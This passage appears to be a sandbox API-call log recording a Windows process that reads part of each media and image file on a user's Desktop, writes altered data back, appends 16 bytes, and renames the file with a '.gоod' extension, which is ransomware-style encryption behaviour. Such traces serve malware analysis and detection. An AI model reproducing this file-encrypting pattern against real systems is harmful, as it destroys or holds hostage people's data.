lpOverlapped=0x0) returned 1 [0226.282] CloseHandle (hObject=0x768) returned 1 [0226.282] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\n3fknGx1fZZiU0-NUgf.m4a", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\n3fknGx1fZZiU0-NUgf.m4a", lpFilePart=0x0) returned 0x3a [0226.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0226.282] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\n3fknGx1fZZiU0-NUgf.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\n3fkngx1fzziu0-nugf.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0226.283] GetFileType (hFile=0x768) returned 0x1 [0226.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0226.283] GetFileType (hFile=0x768) returned 0x1 [0226.283] WriteFile (in: hFile=0x768, lpBuffer=0x3547f88*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9edd08, lpOverlapped=0x0 | out: lpBuffer=0x3547f88*, lpNumberOfBytesWritten=0x1f9edd08*=0x1010, lpOverlapped=0x0) returned 1 [0226.283] CloseHandle (hObject=0x768) returned 1 [0226.283] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\n3fknGx1fZZiU0-NUgf.m4a", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\n3fknGx1fZZiU0-NUgf.m4a", lpFilePart=0x0) returned 0x3a [0226.283] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\n3fknGx1fZZiU0-NUgf.m4a.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\n3fknGx1fZZiU0-NUgf.m4a.gоod", lpFilePart=0x0) returned 0x3f [0226.283] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0226.283] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\n3fknGx1fZZiU0-NUgf.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\n3fkngx1fzziu0-nugf.m4a"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2124f10, ftCreationTime.dwHighDateTime=0x1d4d3df, ftLastAccessTime.dwLowDateTime=0x6907a930, ftLastAccessTime.dwHighDateTime=0x1d4ceb1, ftLastWriteTime.dwLowDateTime=0x8316c411, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x72cf)) returned 1 [0226.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0226.283] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\n3fknGx1fZZiU0-NUgf.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\n3fkngx1fzziu0-nugf.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\n3fknGx1fZZiU0-NUgf.m4a.gоod" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\n3fkngx1fzziu0-nugf.m4a.gоod")) returned 1 [0226.284] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\p0TrV33Celgcttyjbion.bmp", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\p0TrV33Celgcttyjbion.bmp", lpFilePart=0x0) returned 0x3b [0226.284] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0226.284] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\p0TrV33Celgcttyjbion.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\p0trv33celgcttyjbion.bmp"), fInfoLevelId=0x0, lpFileInformation=0x374e540 | out: lpFileInformation=0x374e540*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2145680, ftCreationTime.dwHighDateTime=0x1d4c8d8, ftLastAccessTime.dwLowDateTime=0xf7902a00, ftLastAccessTime.dwHighDateTime=0x1d4cf84, ftLastWriteTime.dwLowDateTime=0xf7902a00, ftLastWriteTime.dwHighDateTime=0x1d4cf84, nFileSizeHigh=0x0, nFileSizeLow=0xe3e9)) returned 1 [0226.284] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0226.284] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\p0TrV33Celgcttyjbion.bmp", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\p0TrV33Celgcttyjbion.bmp", lpFilePart=0x0) returned 0x3b [0226.284] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0226.285] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\p0TrV33Celgcttyjbion.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\p0trv33celgcttyjbion.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0226.285] GetFileType (hFile=0x768) returned 0x1 [0226.285] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0226.285] GetFileType (hFile=0x768) returned 0x1 [0226.285] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1000 [0226.285] ReadFile (in: hFile=0x768, lpBuffer=0x374e958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edca8, lpOverlapped=0x0 | out: lpBuffer=0x374e958*, lpNumberOfBytesRead=0x1f9edca8*=0x1000, lpOverlapped=0x0) returned 1 [0226.286] CloseHandle (hObject=0x768) returned 1 [0226.286] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\p0TrV33Celgcttyjbion.bmp", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\p0TrV33Celgcttyjbion.bmp", lpFilePart=0x0) returned 0x3b [0226.286] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0226.286] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\p0TrV33Celgcttyjbion.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\p0trv33celgcttyjbion.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0226.286] GetFileType (hFile=0x768) returned 0x1 [0226.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0226.286] GetFileType (hFile=0x768) returned 0x1 [0226.286] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0xe3e9 [0226.286] WriteFile (in: hFile=0x768, lpBuffer=0x374fbf0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9edbc8, lpOverlapped=0x0 | out: lpBuffer=0x374fbf0*, lpNumberOfBytesWritten=0x1f9edbc8*=0x10, lpOverlapped=0x0) returned 1 [0226.286] CloseHandle (hObject=0x768) returned 1 [0226.286] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\p0TrV33Celgcttyjbion.bmp", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\p0TrV33Celgcttyjbion.bmp", lpFilePart=0x0) returned 0x3b [0226.287] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0226.287] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\p0TrV33Celgcttyjbion.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\p0trv33celgcttyjbion.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0226.287] GetFileType (hFile=0x768) returned 0x1 [0226.287] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0226.287] GetFileType (hFile=0x768) returned 0x1 [0226.287] ReadFile (in: hFile=0x768, lpBuffer=0x3751eb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc58, lpOverlapped=0x0 | out: lpBuffer=0x3751eb0*, lpNumberOfBytesRead=0x1f9edc58*=0x1000, lpOverlapped=0x0) returned 1 [0226.625] CloseHandle (hObject=0x768) returned 1 [0226.626] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\p0TrV33Celgcttyjbion.bmp", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\p0TrV33Celgcttyjbion.bmp", lpFilePart=0x0) returned 0x3b [0226.626] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0226.626] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\p0TrV33Celgcttyjbion.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\p0trv33celgcttyjbion.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0226.626] GetFileType (hFile=0x768) returned 0x1 [0226.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0226.626] GetFileType (hFile=0x768) returned 0x1 [0226.626] WriteFile (in: hFile=0x768, lpBuffer=0x362cd60*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9edd08, lpOverlapped=0x0 | out: lpBuffer=0x362cd60*, lpNumberOfBytesWritten=0x1f9edd08*=0x1010, lpOverlapped=0x0) returned 1 [0226.626] CloseHandle (hObject=0x768) returned 1 [0226.626] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\p0TrV33Celgcttyjbion.bmp", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\p0TrV33Celgcttyjbion.bmp", lpFilePart=0x0) returned 0x3b [0226.626] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\p0TrV33Celgcttyjbion.bmp.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\p0TrV33Celgcttyjbion.bmp.gоod", lpFilePart=0x0) returned 0x40 [0226.626] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0226.626] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\p0TrV33Celgcttyjbion.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\p0trv33celgcttyjbion.bmp"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2145680, ftCreationTime.dwHighDateTime=0x1d4c8d8, ftLastAccessTime.dwLowDateTime=0xf7902a00, ftLastAccessTime.dwHighDateTime=0x1d4cf84, ftLastWriteTime.dwLowDateTime=0x834b37cb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe3f9)) returned 1 [0226.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0226.626] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\p0TrV33Celgcttyjbion.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\p0trv33celgcttyjbion.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\p0TrV33Celgcttyjbion.bmp.gоod" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\p0trv33celgcttyjbion.bmp.gоod")) returned 1 [0226.627] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\ruKIy9.mp4", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\ruKIy9.mp4", lpFilePart=0x0) returned 0x2d [0226.627] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0226.627] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\ruKIy9.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\rukiy9.mp4"), fInfoLevelId=0x0, lpFileInformation=0x38b2e08 | out: lpFileInformation=0x38b2e08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ded1070, ftCreationTime.dwHighDateTime=0x1d4c5ca, ftLastAccessTime.dwLowDateTime=0xe799a250, ftLastAccessTime.dwHighDateTime=0x1d4cc5c, ftLastWriteTime.dwLowDateTime=0xe799a250, ftLastWriteTime.dwHighDateTime=0x1d4cc5c, nFileSizeHigh=0x0, nFileSizeLow=0xce3e)) returned 1 [0226.627] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0226.627] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\ruKIy9.mp4", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\ruKIy9.mp4", lpFilePart=0x0) returned 0x2d [0226.627] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0226.627] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\ruKIy9.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\rukiy9.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0226.628] GetFileType (hFile=0x768) returned 0x1 [0226.628] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0226.628] GetFileType (hFile=0x768) returned 0x1 [0226.628] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1000 [0226.628] ReadFile (in: hFile=0x768, lpBuffer=0x38b31b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edca8, lpOverlapped=0x0 | out: lpBuffer=0x38b31b0*, lpNumberOfBytesRead=0x1f9edca8*=0x1000, lpOverlapped=0x0) returned 1 [0226.629] CloseHandle (hObject=0x768) returned 1 [0226.629] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\ruKIy9.mp4", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\ruKIy9.mp4", lpFilePart=0x0) returned 0x2d [0226.629] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0226.629] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\ruKIy9.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\rukiy9.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0226.629] GetFileType (hFile=0x768) returned 0x1 [0226.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0226.629] GetFileType (hFile=0x768) returned 0x1 [0226.629] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0xce3e [0226.629] WriteFile (in: hFile=0x768, lpBuffer=0x38b4410*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9edbc8, lpOverlapped=0x0 | out: lpBuffer=0x38b4410*, lpNumberOfBytesWritten=0x1f9edbc8*=0x10, lpOverlapped=0x0) returned 1 [0226.629] CloseHandle (hObject=0x768) returned 1 [0226.629] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\ruKIy9.mp4", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\ruKIy9.mp4", lpFilePart=0x0) returned 0x2d [0226.629] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0226.629] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\ruKIy9.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\rukiy9.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0226.630] GetFileType (hFile=0x768) returned 0x1 [0226.630] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0226.630] GetFileType (hFile=0x768) returned 0x1 [0226.630] ReadFile (in: hFile=0x768, lpBuffer=0x38b6698, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc58, lpOverlapped=0x0 | out: lpBuffer=0x38b6698*, lpNumberOfBytesRead=0x1f9edc58*=0x1000, lpOverlapped=0x0) returned 1 [0227.300] CloseHandle (hObject=0x768) returned 1 [0227.300] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\ruKIy9.mp4", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\ruKIy9.mp4", lpFilePart=0x0) returned 0x2d [0227.300] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0227.300] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\ruKIy9.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\rukiy9.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0227.300] GetFileType (hFile=0x768) returned 0x1 [0227.300] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0227.301] GetFileType (hFile=0x768) returned 0x1 [0227.301] WriteFile (in: hFile=0x768, lpBuffer=0x36663b0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9edd08, lpOverlapped=0x0 | out: lpBuffer=0x36663b0*, lpNumberOfBytesWritten=0x1f9edd08*=0x1010, lpOverlapped=0x0) returned 1 [0227.352] CloseHandle (hObject=0x768) returned 1 [0227.352] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\ruKIy9.mp4", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\ruKIy9.mp4", lpFilePart=0x0) returned 0x2d [0227.352] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\ruKIy9.mp4.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\ruKIy9.mp4.gоod", lpFilePart=0x0) returned 0x32 [0227.352] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0227.370] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\ruKIy9.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\rukiy9.mp4"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ded1070, ftCreationTime.dwHighDateTime=0x1d4c5ca, ftLastAccessTime.dwLowDateTime=0xe799a250, ftLastAccessTime.dwHighDateTime=0x1d4cc5c, ftLastWriteTime.dwLowDateTime=0x83b8e400, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xce4e)) returned 1 [0227.370] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0227.370] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\ruKIy9.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\rukiy9.mp4"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\ruKIy9.mp4.gоod" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\rukiy9.mp4.gоod")) returned 1 [0228.634] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\vbndA99TOAba.bmp", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\vbndA99TOAba.bmp", lpFilePart=0x0) returned 0x33 [0228.635] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0228.635] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\vbndA99TOAba.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\vbnda99toaba.bmp"), fInfoLevelId=0x0, lpFileInformation=0x35a4508 | out: lpFileInformation=0x35a4508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50068870, ftCreationTime.dwHighDateTime=0x1d4d2c6, ftLastAccessTime.dwLowDateTime=0xd5e29c20, ftLastAccessTime.dwHighDateTime=0x1d4d38b, ftLastWriteTime.dwLowDateTime=0xd5e29c20, ftLastWriteTime.dwHighDateTime=0x1d4d38b, nFileSizeHigh=0x0, nFileSizeLow=0xc869)) returned 1 [0228.635] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0228.635] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\vbndA99TOAba.bmp", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\vbndA99TOAba.bmp", lpFilePart=0x0) returned 0x33 [0228.635] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0228.635] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\vbndA99TOAba.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\vbnda99toaba.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0228.635] GetFileType (hFile=0x828) returned 0x1 [0228.636] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0228.636] GetFileType (hFile=0x828) returned 0x1 [0228.636] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1000 [0228.636] ReadFile (in: hFile=0x828, lpBuffer=0x35a48e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edca8, lpOverlapped=0x0 | out: lpBuffer=0x35a48e0*, lpNumberOfBytesRead=0x1f9edca8*=0x1000, lpOverlapped=0x0) returned 1 [0228.636] CloseHandle (hObject=0x828) returned 1 [0228.637] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\vbndA99TOAba.bmp", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\vbndA99TOAba.bmp", lpFilePart=0x0) returned 0x33 [0228.637] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0228.637] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\vbndA99TOAba.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\vbnda99toaba.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0228.637] GetFileType (hFile=0x828) returned 0x1 [0228.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0228.637] GetFileType (hFile=0x828) returned 0x1 [0228.637] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0xc869 [0228.637] WriteFile (in: hFile=0x828, lpBuffer=0x35a5b58*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9edbc8, lpOverlapped=0x0 | out: lpBuffer=0x35a5b58*, lpNumberOfBytesWritten=0x1f9edbc8*=0x10, lpOverlapped=0x0) returned 1 [0228.637] CloseHandle (hObject=0x828) returned 1 [0229.027] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\vbndA99TOAba.bmp", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\vbndA99TOAba.bmp", lpFilePart=0x0) returned 0x33 [0229.027] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0229.029] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\vbndA99TOAba.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\vbnda99toaba.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0229.029] GetFileType (hFile=0x834) returned 0x1 [0229.031] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0229.031] GetFileType (hFile=0x834) returned 0x1 [0229.031] ReadFile (in: hFile=0x834, lpBuffer=0x366f870, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc58, lpOverlapped=0x0 | out: lpBuffer=0x366f870*, lpNumberOfBytesRead=0x1f9edc58*=0x1000, lpOverlapped=0x0) returned 1 [0229.153] CloseHandle (hObject=0x834) returned 1 [0229.153] GetFullPathNameW (in: 